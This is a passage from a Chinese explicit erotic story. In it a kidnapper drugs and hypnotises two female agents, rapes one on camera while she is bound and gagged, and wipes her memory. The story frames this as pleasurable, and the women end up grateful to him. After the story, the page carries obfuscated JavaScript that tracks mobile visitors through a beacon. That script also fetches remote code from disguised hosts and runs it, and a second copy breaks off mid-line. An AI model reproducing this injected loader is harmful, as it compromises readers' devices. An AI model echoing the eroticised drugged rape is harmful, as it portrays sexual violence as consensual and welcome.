她的头急速地来回摇晃,尖叫着:“操我!求求你,快点操我吧!‘斯坦顿淫笑道突然把手插到蒂芬妮的身下,抓住她的屁股向上托起,腰部顺势用力向前一挺,坚硬的阳具狠狠地插进她的肉洞,伴随着肉体撞击的声音,两个人的下身完全连成一体。

‘啊——!’蒂芬妮大声喘息着,斯坦顿的肉棒贯穿了她的身体。极度兴奋的她身体最大限度地向上弓起,铐在她手腕和脚踝上的皮手铐被拉至几乎断裂的形状。

斯坦顿看着身下这美丽的SBI特工,双手抓住她的乳房用力按住,肉棒开始在她的体肉抽送。先是缓慢而深入地动作,体验着第一次插入地甜美感觉,然后逐渐加快速度,直到他找到一个比较舒适的节奏。

斯坦顿双手用力向下按去,蒂芬妮丰满的乳房从他手掌的四周向外溢出,她的身体深深地陷进床垫里。她想搂住他的腰,好让肉棒能更深地插进来,但是手腕上的手铐使她动弹不得,只能一边喘息着一边快速地擡起美妙的屁股,以配合他越来越凶猛激烈的抽插。

突然,斯坦顿尽力一挺身,肉棒再一次连根没入,蒂芬妮甚至能感到那巨大的龟头顶进了她的子宫,她不由自主地发出一声悠长高亢地尖叫。

蒂芬妮热烈的回应令斯坦顿非常满意,不过他觉得如果能把她的嘴堵上的话,听着她含混不清的呻吟声会更加刺激。他一边继续抽动肉棒,一边拿出不久前曾用来塞住切西的嘴的阴茎状橡胶塞口物,重新塞到她的嘴里。

在这之前,蒂芬妮曾拼命抗拒这种令人恶心的橡胶制品,但是现在这个阴茎状的东西却带给她兴奋的感觉,她不但丝毫不抵触,反而异常迫切地张开嘴,任凭斯坦顿将这个东西塞进来,然后将连在根部的皮带绕到她的头后扣好。

‘唔唔——嗯——!’蒂芬妮愉快地从塞得满满的嘴里发出呜咽声。

这种被压抑的呻吟声又差点把斯坦顿的存货勾出来,他勿忙扫了一眼角落里的摄像机,确信它仍然在正常工作,然后开始继续奸淫蒂芬妮。

在斯坦顿的催眠和诱导下,蒂芬妮体内淫邪的情欲被完全激发出来,在罪犯病态的奸淫下,女特工的身体急促地颤抖着,一连串的高潮袭遍她的全身。 透过嘴里的假阳具,蒂芬妮发出含混不清但却充满淫荡气息的呻吟,身体尽力迎合着斯坦顿的撞击。

两个彻底陷入淫欲的人已经失去了时间观念,一个小时很快便过去了,疲惫不堪的斯坦顿最后终于在疯狂地冲刺中在蒂芬妮体内爆发,这一次的发射是如此地猛烈,他甚至觉得自己很可能会由于精力消耗过大而昏死过去。

蒂芬妮也同时达到了高潮,她用力咬着嘴里的假阳具,在巨大的性感下眼泪不由自主地流了出来。

斯坦顿嘴里嘟囔着完成了最后一次喷射,上身摇晃着慢慢向前倾斜,趴在蒂芬妮湿漉漉的身体上一动不动,全身的力气似乎全部随着最后一股精液流失了。 他差一点就睡了过去,但是当他想起与切西约定好的接头时间的时候,立刻从床上跳了起来——时间已经差不多了。

七、最后的计划

接下来的两个小时过得很快。斯坦顿再一次对蒂芬妮使用了笑气,利用催眠最后一次向她的意识里灌输一些他希望的东西,然后解开她身上的束缚,让她穿上衣服。对蒂娜?周,他也进行了同样的处理。现在,无论是蒂芬妮还是蒂娜,都确信斯坦顿只是一位好心的中间人,一直在与绑架者沟通,好让他们释放蒂娜。如果随后SBI官员问到绑架者的情况,蒂娜会告诉他们她根本没有看到他们的长相,也不知道自己被关押的地方。

斯坦顿用他的旅行车拉着她们两人来到一处高地,仅有的那条通往城里的公路就在下面,从这里他可以很容易地看到公路上的情况。就像是精确的钟表一样,切西?摩根驾驶着她的红色野马车准时出现在他们的视野中。汽车停在了他们约定的接头地点,斯坦顿并没有急着露面,他又等了几分钟,想看看有没有可疑的汽车或直升飞机出现。

当斯坦顿确信一切正常之后,他开着旅行车驶下高地。切西看到他的车驶过来,迅速回到车上取出一个黑色的大帆布包。

“你不介意把这个包打开让我看看吧?”斯坦顿顾作绅士道。

切西打开了帆布包,斯坦顿看到里面塞满了成捆的百元美钞,都是没有任何记号的钞票,看起来有十万元的样子,心脏剧烈地跳动起来。

“不错。”他想,“没有那种会自己爆炸的染色罐。”

“你干得非常出色,切西。”斯坦顿心情愉快道。

切西也是一脸笑意地看着他,问道:“蒂娜呢?”

“在旅行车上,和你可爱的搭档蒂芬妮在一起。”斯坦顿冲着车里的两个人挥了挥手,蒂芬妮和蒂娜从下车走了过来。

“好了。”斯坦顿道,三个女人在一旁抱成一团,“这的确是一次伟大的冒险,不要忘了我们之间的小秘密。”

随后,斯坦顿冲着她们眨了眨眼,抓起他的钱袋,回到旅行车上。他向三个有点困惑的女人挥了挥手,然后头也不回地驶上公路。没过多久,斯坦顿?科诺多夫就完全从她们三人的生活中消失了。

又过了几分钟,蒂芬妮首先开口说道:“好吧,蒂娜。我想我们现在该带着你回家了,你的父亲一定担心的不得了。”

蒂娜冲着两位SBI特工疲惫地笑了笑,在过去的短短几天里,她经历了太多的捆绑、塞口、麻醉和囚禁,现在她只想能立即回到家里,躺在她柔软舒适的床上好好地睡上一觉。她们一起钻进切西的野马车,向SBI地区办事处驶去。 八、文森特的惊喜

文森特惬意地坐在起居室的沙发里,身体几乎全部陷进去,头懒散地靠在椅背上。天已经很晚了,整整一天蒂芬妮都没有与他联系,但此时此刻他没有太多的心思考虑这件事,他的全部注意力都集中在一位年轻可爱的金发女郎身上,她正趴在他的双腿之间,嘴里含住他的肉棒缓缓地上下摆动头部。

这位年轻女郎叫蜜丝(MISSY),今年只有十九岁,是文森特从前的情人。她穿着紧身牛仔短裤,上身则是一件半截T恤,下摆刚刚能盖住她并不算丰满的乳房,正在那里啧啧有声地舔着文森特的肉棒,似乎对于她来说这就是最重要的事一样。

的确,蜜丝喜欢吸吮男人的肉棒,而且尤其喜欢在男人面前表现出她在这方面的偏好,以及她娴熟的口交技巧。

虽然她和文森特分手了,不过她知道只需要简单的一通电话,告诉他她此时是多么地渴望吸吮他的肉棒,文森特就会立即迫不急待地要她过来,尽管他现在已经有了新的女友——那个该死的SBI女特工。

蜜丝心里也清楚,那个婊子总有一天会把他赶走的,令她恼火的也正是这一点:为什么那个婊子能这样做,而她却不行?仅仅因为她是SBI特工,腰里别着一把手枪吗?

蜜丝决定让文森特真正了解她的能力,使出全身解数不间断地用舌头挑逗他,一次次将他拉到高潮的边缘,但是却不让他射精,一直到他彻底地失去控制。 蒂芬妮和切西正驾车行驶在回家的路上。

她们把蒂娜送到她父亲那之后,向上司简要汇报了案件的情况:绑架者无条件释放了蒂娜。她们的上司向她们表示了祝贺,并允许她们先回家休息一个晚上,第二天再写出这个案子的调查报告。

在回家的途中,蒂芬妮想起一直没有与文森特联系,赶紧取出手机慌慌张张道:“我必须给文森特打个电话,他在家里等我等得该着急了。”

在这之前她一直没有机会与他联系,因此她觉得他一定会不太高兴的。切西看了看她的搭档,无法理解为什么她会对那个怪物如此温柔体贴。

电话铃声响起时,文森特正被蜜丝挑逗得欲仙欲死,铃声响了两三遍他才意识到电话铃在响。一直专注于口交的蜜丝用眼角的余光看了一眼文森特,他在沙发上挪动着身体抓起电话,答道:“喂?”

她知道一定是那个贱人的电话,那个该死的SBI特工,她更加猛烈地摇动头部刺激着文森特下身绷紧的神经。

“嗨,文森特,是我。”蒂芬妮在电话里温柔道,希望他没有太生气,她知道文森特的占有欲非常强,“我正在回家的路上。”

“你今天到底去哪儿了?”文森特问道,“我都快担心死了。”

“抱歉,宝贝。”蒂芬妮柔声道,想让文森特消消气,“我今天晚上会向你解释的,我保证。你吃饭了吗?”

“你想呢?”文森特一边说,一边看着在他双腿之间继续吸吮他肉棒的金发女郎,她兴致勃勃地上下摇动头部,柔软顺滑的金色长发散落在肩头,她时不时扬起头将头发甩向一边。

“我回家就给你做您喜欢的东西吃,好吗?”蒂芬妮小心翼翼道,在她的搭档面前说这些话令她有些困窘。她偷偷瞟了一眼切西,看到切西摇着头似乎无法相信所听到的话。

“你现在到底在哪里?”文森特突然问道。

“我还有几分钟就到了。”蒂芬妮道,“很快的,好吗?”

文森特放下电话对蜜丝道:“快点,她随时都可能回来。”

蜜丝脸色阴沈,她想一口断他的肉棒,但她心里并不想失去他,特别是把他留给那个婊子。一想起那个婊子她就心情激愤,这次一定要做完!她将文森特的肉棒更深地含进咽喉,在最后的疯狂运动中文森特终于把他的精液尽数射了出来,她把这些粘稠的液体咽了下去。这是她最喜欢的部分了,让男人在她的嘴里射精,她知道男人有多热衷于此事,他们会忍耐不住发出的呻吟和喘息声,随后肉棒就会胀大、喷发,对此她再熟悉不过了。

但是这一次她并不怎么高兴,因为那个婊子挤占了她的时间,她来不及把文森特肉棒上残留的每一滴精液舔干净,那才是她的男人最最喜爱的事情。

文森特来不及更多的享受了,完事之后他便推开蜜丝站起来,对她说道:“你现在必须走了。”

蜜丝匆匆忙忙整理好衣服,抓起她的背包向房门走去。文森特对她的态度令她有点生气,不过当她走到门口时,突然改变了心意,转过身用甜美的声音对文森特道:“我爱你,记得给我打电话。”

“我也爱你。”文森特道,伸手拉开房门冲着她做出一个请的姿势,“我会给你打电话的。”

蜜丝走出门还想说点什么,但文森特没有给她说话的机会,房门在她的面前呯地一声关上。一阵莫名的怒火从蜜丝心里升起,她愤愤地离开房子向停在路边的大众汽车走去。

“停车!”蒂芬妮冲切西叫道,野马车在一阵刺耳的?车声中停了下来。 “干什么?”切西奇怪道,“出什么事了?”

蒂芬妮没有说话,只是张着嘴直直地看着前方。切西顺着她的目光看过去,在一个街区外蒂芬妮的家门前,一位金发女郎正从房前的便道走出来。她们就坐在车里一动不动地看着,那女孩钻进一辆大众汽车很快消失在街道尽头。

“杂种!”蒂芬妮怒道。

“唔,可能并不象你想的那样。”切西试图宽慰蒂芬妮,但是在她内心深处,压抑不住地狂喜急速涌动,这一次文森特可能该有好看的了。

“我认识那个小婊子!”蒂芬妮叫道,“那是他从前的女友。”

“我真的很难过,蒂芙(Tiff)。”切西迟疑了一下道,在安慰她的朋友的同时,也顺便掩饰一下她内心的喜悦,“你现在准备怎么办?”

蒂芬妮没有回答,久久地凝视着不远处她的房子,怒火在心中燃烧,过了几分钟她开口道:“让我们好好教训他一下。”

门铃响起的时候,文森特正坐在那里向笔记本电脑里混乱打着文字。“该死!”他想道,“如果这是蜜丝,我会杀了她的。”他站起身很快来到门口拉开门一看,一个令他惊奇的人站在门前——切西?摩根。

“蒂芬妮呢?”文森特问道,伸头向切西身后望去。

“她去商店买一些晚餐用的东西。”切西道,看起来非常友善,“让我先过来告诉你一声。”

文森特目光闪动凝视着切西,然后侧身让她进来:“好吧,请进。”

切西走进起居室,文森特在她身后关上了房门。实际上蒂芬妮并没有去买东西,她就在车里等着。她们的计划是让切西引诱文森特,蒂芬妮会适时地闯进来,“惊讶”地发现文森特正在非礼她的搭档,然后她们会好好地教训他一下。 切西看到文森特重新回到他的电脑前,一种奇怪的感觉突然掠过。

这是怎么了?

她的目光一直停留在他的牛仔裤上,他坐在那里两腿之间自然鼓起一块,就像是被肉棒顶起来一样。莫名的情欲迅速袭遍她的全身,最终聚在她的双腿之间。 他的肉棒!

切西的脑海全部被那个粗大坚硬的东西所占据。

切西开始感到紧张,到底发生了什么事,她怎么会有这种想法?她用力摇摇头想把那影像从脑海里赶走,但是事与愿违,这想法已经完全渗透进她的内心深处,一个声音在她体内大喊道:文森特的肉棒又长又硬!

她走进厨房想给自己倒杯水,让自己体内的躁动平息一些。但是当她拧开水龙头看着水源源流出,文森特的肉棒的形象更加清晰地出现在她的脑海——文森特坐在那里,牛仔裤的拉链已经打开,肉棒跳了出来,直挺插地指向上方。 切西喘息着喝下杯中的水,手剧烈抖动着。她把杯子放在柜台上,一种强烈的渴求淹没了她。是什么造成了她对他的肉棒的这种感觉?这种感觉使她极度渴求……

她抓起杯子又接了杯水喝了下去,想洗刷掉这种想法。

“不!”她想道,“我不能相信,我需要平静一下。”

“我需要用一下你的盥洗室。”切西对文森特道。

“好的。”文森特头也没回道,坐在桌子前目不转睛地盯着屏幕。

切西走进客人专用的盥洗室关上门,身体剧烈颤抖着,双手用力抚摸着发烫的身体,一种想法贯穿了她的全身:文森特就在隔壁的屋子里,在他的裤子里有最最美妙的东西。

“我必须含住它!”那个声音再次在切西体内响起。

她看着镜子里面色潮红的自己,深深吸了口气,和蒂芬妮的计划已经忘得一干二净,她必须靠近文森特,她必须触摸他……他的双腿之间的那个大家伙!这种想法令她身体僵硬,无法控制地颤抖,她的本能告诉她,对于这种无法抗拒的渴望,试图压制或忘却是不可能的,她只有顺从……

“我需要吸吮他的肉棒。”切西下意识地舔了舔火热的双唇,鼓足了勇气拉开盥洗室的门走进起居室,坐在床边看着在电脑前快速敲击键盘的文森特。 “文森特。”切西道。

文森特听到有人再唿唤他的名字,过了一会才意识是切西在说话。他感到非常奇怪,因为切西平时从来不会这样喊他的名字,这不是她说话的方式。

原来蒂芬妮不在家的时候,他有时也曾经幻想过切西的裸体,不过刚刚享受过一个19岁女孩用嘴进行的甜蜜服务,此时他对他女友的搭档没有任何性趣。 他好奇地看了一眼切西,想知道她有什么其它的想法。

“什么事?”文森特道。

“我们谈谈好吗?”切西友善道。

“这还不错。”文森特想,慢慢站起身向沙发走去,脑海里胡乱猜想她会对他说些什么。

“当然可以。”文森特道,坐进他喜爱的沙发里。

“我在想之前我们相互之间可能有些误会。”切西费力地组织着词汇,“我在想…嗯…说不定,是的…说不定我们可以试着成为朋友。”

文森特注视着她,心里有些怀疑她是否在戏弄他,过了一会他决定把话题继续下去,冷静道:“没问题,这个建议非常不错。”

切西直视着文森特的眼睛,然后目光慢慢下移到他的胯下,但她很快控制住自己,把目光移开。“我这是怎么了?”她想,“我想的全都是他的肉棒!” 为了转移她的注意力,她迅速伸出手道:“我们握手和解怎么样?”

文森特犹豫着,搞不清楚切西这是玩的什么把戏,她看上去非常局促不安。 他终于还是慢慢探过身伸出手,握住她的手摇了摇。

就这样一个简单的动作,切西看起来似乎要昏倒了一样。

“你还好吗?”文森特感到了切西的异常,松开她的手重新坐进沙发里问道。 “哦……是…是的……我很好。”切西结结巴巴道,“我忙了整整一天了,感到有点累。”

实际上,刚才很短时间的肌肤接触,已经把切西的情欲完全挑了起来,一种前所未有的强烈冲动,令她只想立刻跪在他的双腿之间,爱抚他的肉棒,她的眼睛再也无法离开他胯下牛仔裤凸起的那个部位。

如果说之前文森特没有留意到这一点,现在他已经真真切切地感受到了切西的欲火。起先他还有点吃惊,但很快就只剩下开心和好笑。

“她在想我。”文森特想道,“这个同性恋竟然在想我的肉棒。”

他决定再试探一下,看看她是真的想要还是仅仅是一个恶作剧。虽然刚刚和蜜丝进行了漫长的口交,可是一想起这位漂亮的同性恋SBI特工张开性感迷人的双唇把他的肉棒深深地吸进去的情景,他的胯下还是不由自主地硬了起来。 真是太不可思议了,就在今天早上他在她面前谈论性爱的时候,还遭到她的鄙视。

文森特微笑着走进厨房,对切西道:“好吧,既然我们就要成为好朋友了,那么就让我们弄点啤酒,在蒂芬妮回来之前先提前庆贺一下吧。”

“呣……这个提议真不错。”切西小声嘟囔着。文森特的身影从她的视线里消失了,她可以较为轻易地控制住自己的思绪,她坐在床边脱下身上的外套,让自己冷静下来。

她不能总是想着他的肉棒。

“停下来,不能再想了。”她暗自道。

文森特拿着两瓶开了盖的冰啤酒回到起居室,递了一瓶给切西。切西接过啤酒,她擡头看着文森特,后者紧挨着她坐在床上。她的身体又一次无法控制地颤抖着,她低下头想避开他的目光,却发现她的左手离他的腿只有几公分的距离,只要一伸手就可以……

切西用尽全部的意志力才按捺住抓住他胯下凸起部位的冲动,她心慌意乱地把啤酒瓶顶在嘴里,想转移一下注意力。但文森特身上散发的强烈诱惑最终还是压倒了她的理智,喝啤酒的动作很快转变成了无比香艳地挑逗——她用撩人情欲的目光注视着文森特,嘴里含住长长的啤酒瓶颈。

对于切西的暗示和挑逗,文森特当然无比兴奋,这位漂亮的SBI特工用她性感的双唇含住啤酒瓶颈,闭上双眼将瓶颈轻轻向嘴里推进,然后再慢慢抽出来,咽喉处一起一伏,酒瓶里淡黄色的液体晃动着流进食道。

文森特呆呆地看着,吃力地咽了口唾沫,牛仔裤里的肉棒几乎要胀爆了,心跳的时速超过了一百英里。但是他不敢说一个字,他想看看她还能做出些什么惊人之举。

现在轮到切西难过起来,体内早已熊熊燃烧的欲火几乎令她发狂,她希望文森特能要求她做一些事……任何事……

蒂芬妮告诉过她,一定要让文森特先动手,这样她们才有理由教训这个花心的家伙。但是她真的不知道除了跪在他面前拉开他裤裆的拉链之外,还有什么办法能令文森特行动起来?接下来她能想到的只能是用淫荡的眼神盯着他,然后对他说:无论何时只要你需要的话,我会为你做任何事。

终于,文森特开口了:“切西……”

切西的心剧烈跳动着。

“求你了。”她默默乞求道,身体不由自主地颤抖着,“要求我吧,动手吧。” “什…什么事?”切西答道,调整了一下坐姿,准备迎接随之而来的男人的侵犯。

“你…你想…”文森特结结巴巴道,“我是说……你愿意给我吗……”

“你说什么?”切西催促道,对他的问题感到有点失望。

文森特停了一下,重新鼓起勇气。

“我真的需要你……”他凑到她耳边低声道,“和我做爱吧。”

一直压在切西心中的困扰终于不见了,她满脸通红地看着文森特,微笑着叹息道:“我还以为你永远都不会说出口呢。”

文森特有些敬畏地看着切西迅速跪在他身前,伸手拉开他牛仔裤的拉链,把他那条又粗又长的坚硬肉棒掏了出来,然后毫不犹豫地张开火热的双唇将肉棒含了进去。

这种令人难以置信的性爱前戏是文森特从未经历过的,切西——强有力的SBI特工,蒂芬妮的搭档,漂亮的女同性恋——跪在那里卖力地吸吮着他的肉棒,还有什么比这更刺激!?

九、三人行

蒂芬妮?斯沃罗斯被一种莫名的渴望困扰着,她已经不能再等待下去了,她迫不急待地想冲进她的房子,看看她的男友会对她最好的朋友和搭档——切西? 摩根做些什么。她的脑海里充满了各种各样文森特和切西做爱的情景,这令她异常兴奋。

蒂芬妮根本没有意识到,这些奇怪的想法和欲望是被人强行灌输到她的意识里的,斯坦顿?科诺多夫、捆绑、强奸、笑气、催眠、暗示,所有这些她都已经忘得一干二净。她快步向房子的正门走去,切西和文森特,还有她小小的报复计划,她必须立刻知道答案。

房门打开了,眼前出现的场面令蒂芬妮无比震惊,身体不由自主地颤抖起来——文森特闭着眼睛坐在沙发里,她的搭档切西则跪在他身前,头在他的双腿之间快速地起伏。

文森特听到门关上的声音,顿时惊出一身冷汗。

“蒂芬妮!”文森特脱口道,“嗨!呃——这…这不是……!是她勾引我的!” 切西迷惘地看着蒂芬妮和文森特,根本无法弄清楚到底发生了什么事,她现在脑子里只有那条美味的肉棒,如果可能的话她想一直爱抚它、吸吮它直到永远。 “不用担心!”蒂芬妮微笑道,脱掉夹克外套坐在旁边的沙发里,“继续享受吧,我就坐在这里看着你们。”

文森特张口结舌地看着他的女友躺坐在沙发上,慢慢解开胸前半透明的白色衬衣的扣子,迷人的胸部露了出来,他注意到她薄薄的丝质胸罩上两颗诱人的突起。

“她的奶头硬了,她竟然喜欢这种场面!”文森特暗自惊讶着。

切西开始继续吸吮肉棒的动作,文森特放下心来,一边享受着切西热情的嘴唇和舌头,一边色迷迷地看着他漂亮的女友轻轻揉弄自己的乳房和小腹,她的右手一路向下伸进宽松的裤子里,按在胯下私密之处来回抚摸起来。

很快,这位红发美女便进入了状态,闭上双眼头向后仰起,诱人的舌头不时舔过红润的双唇,她的身体向前挺起离开沙发靠背,屁股一起一伏配合着自慰的动作。

蒂芬妮的脑海里各种各样的色情场景氾滥成灾,她一边兴奋地抚摸自己的身体,一边注视着她男友的肉棒在切西丰满的双唇里进出。

为什么会这样?

蒂芬妮丝毫没有怀疑到那个可恶的男人——斯坦顿?科诺多夫身上,正是他将这淫荡的意识灌输到她的脑海中,现在这个绑架者、强奸犯正开着他的旅行车驶向远方的某个地方,身旁是一个塞满钞票的帆布包,还有一打他奸淫她和切西的录像带。

她现在所有的注意力都集中到下身越来越燥热的肉洞上,她知道文森特一直在偷看她,这反而令她加倍地兴奋。她抚摸自己的时间越长,肉洞的燥热感越强烈,她终于开始狂野地摇晃着身体,手指插入湿滑的肉洞快速抽动着。

伴随着一声高亢地尖叫,蒂芬妮的身体用力向上挺起,高耸的乳房在胸前晃动,整个身体仅靠头和结实的屁股支撑着。

文森特目不转睛地注视着蒂芬妮在持续而来的高潮中上下翻腾的身体,与此同时切西也开始疯狂地摇晃头部,猛烈地用嘴唇和舌头刺激着他的肉棒。文森特双手紧紧抓住沙发的扶手呻吟着,一阵兴奋掠过身体,他的肉棒开始在切西嘴里跳动。

切西感到嘴里的脉动,一股强烈的性感从子宫深处蓦然升起,她伸手探到自己的胯下爱抚着湿淋淋的肉洞,一波绝顶的快感立即袭遍全身。她饥渴地吸吮着文森特跳动的肉棒,却失望地发现并没有她期盼的精液射进嘴里。

切西当然不知道文森特不久前刚在蜜丝的嘴里射完精,不可能这么快又积攒出太多的东西。其实文森特这时同样悔恨不已,他也希望能用自己的精液尽情灌溉这位迷人女特工温暖潮湿的小嘴。

切西满意地向文森特抛了一个撩人情欲的媚眼,用手握住他的肉棒继续套弄。当她把目光转向目光迷离,仍沈浸在未消散的高潮中不能自拔的蒂芬妮身上时,对她的这位美丽的搭档的渴望完全占据了她的意识,她来到蒂芬妮身边跪在沙发前,迅速脱下身上的衬衣,蒂芬妮也一直在等待她的到来。

两位迷人的女特工拥抱在一起,当着张口结舌的文森特的面热烈地亲吻着。 文森特这辈子从来没看到过这么香艳刺激的场面:他美艳绝伦的女友和她漂亮的搭档切西诱人的舌头来回纠缠,两对坚挺丰满的乳房相互摩擦挤压着,两具性感的胴体搂抱在一起不断扭动着……文森特的肉棒再一次变得坚硬起来。 蒂芬妮和切西相互搂抱着站起身,她们都扭过头看着文森特。

“我们为什么不去卧室?”蒂芬妮用挑逗的语气道。

文森特用力咽了口唾沫,暗自道:“再没有比这更好的了。”

十、再见,文森特在接下来的两个小时里,文森特、蒂芬妮和切西彻底迷失在这场疯狂的性宴之中,文森特尽情地享用着两位美丽的女特工的身体,过去的性幻想,甚至一些从未想到过的花样都一一实现。

两个女人火热的舌头舔遍文森特的全身,最后不约而同汇聚到他的肉棒处,一个含住他的阴囊,一个舔着他的龟裂。在不间断地挑逗下,文森特进入了最后的疯狂状态,他双手一挥将两位女特工推开,让她们并排跪在床上,屁股向后撅着露出肥美的肉缝,两个雪白的屁股上都沾满了晶莹的汁液。文森特首先将肉棒插进蒂芬妮的肉洞抽送着,然后转向切西,如此往复数次最终将目标锁定到切西身上。

他双手抓住切西结实的臀肉,肉棒快速地在切西紧密的肉洞里抽插着。

蒂芬妮此时则躺到切西身下,双腿被切西向两边分开,切西脸埋在她的双腿之间,伸出舌头爱怜地沿着她的肉缝来回舔着。蒂芬妮根本想像不到在其他女人的爱抚下会有如此强烈地快感,她不由自主地大声尖叫起来。

另一边的切西占据了有利的位置,尽情地爱抚着蒂芬妮美妙的身体,终于可以实现长久以来的愿望——蒂芬妮,这个美艳的尤物,从切西第一次见到她起,对她的思念和渴望就再也没有停止过。

她们在床上纠缠着、翻滚着,不时变幻着位置和姿势,汗水浸透了她们的胴体,搂抱在一起时甚至可以听到肉体接触的水声。伴随着两个女人一连串持续不断的高潮,文森特也在切西体内完成了最后的使命,三个人疲惫不堪地躺在早已湿透了的乱成一团的床上。

喘息了一阵之后,文森特第一个打破了沉默:“看起来这张床对我们三个人来说有点小了。”

“我想我们中间得有一个人必须离开了。”蒂芬妮搂着切西用慵懒的语气道。 文森特沉默了一会,不太理解这句话的意思。

“唔……你这句话的意思是……?”文森特问道。

“意思是你还有十五分钟的时间收拾你的东西,然后离开这里。”蒂芬妮微笑道。

“什么!?”文森特大吃一惊道。

“你都听见了。”切西一脸坏笑地回应道。

文森特用仇恨的眼神瞪了切西一眼,然后看着蒂芬妮道:“你到底想让我去哪里?”

“你为什么不给那个荡妇蜜丝打个电话,看看她是否会收留你?”蒂芬妮暗示道。

“这到底是……?”文森特道,心里清楚蒂芬妮已经知道了蜜丝来过这里的事,“这到底是怎么搞的?”

“我们只是想让你知道,我们会想你的。”蒂芬妮对她这位已经成为过去时的男友说道,脸上露出了和切西相同的坏笑。

文森特怒气冲冲地穿起衣服冲出了卧室,最后他只带着他的笔记本电脑离开了这里,丝毫没有意识到是一个他从未见过的男人改变了他的生活。

至于蒂芬妮?斯沃罗斯和切西?摩根,她们成了最好的情人、朋友和搭档,在一起过着幸福的生活,在SBI继续着侦破案件、抓捕罪犯的工作。有时她们也会想起斯坦顿?科诺多夫,从心底由衷地感激这个奇怪的男人。

————-全文完————-


上一篇:特别的生日礼物 (特别生日礼物)

下一篇:老婆不穿底裤同胸罩


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new 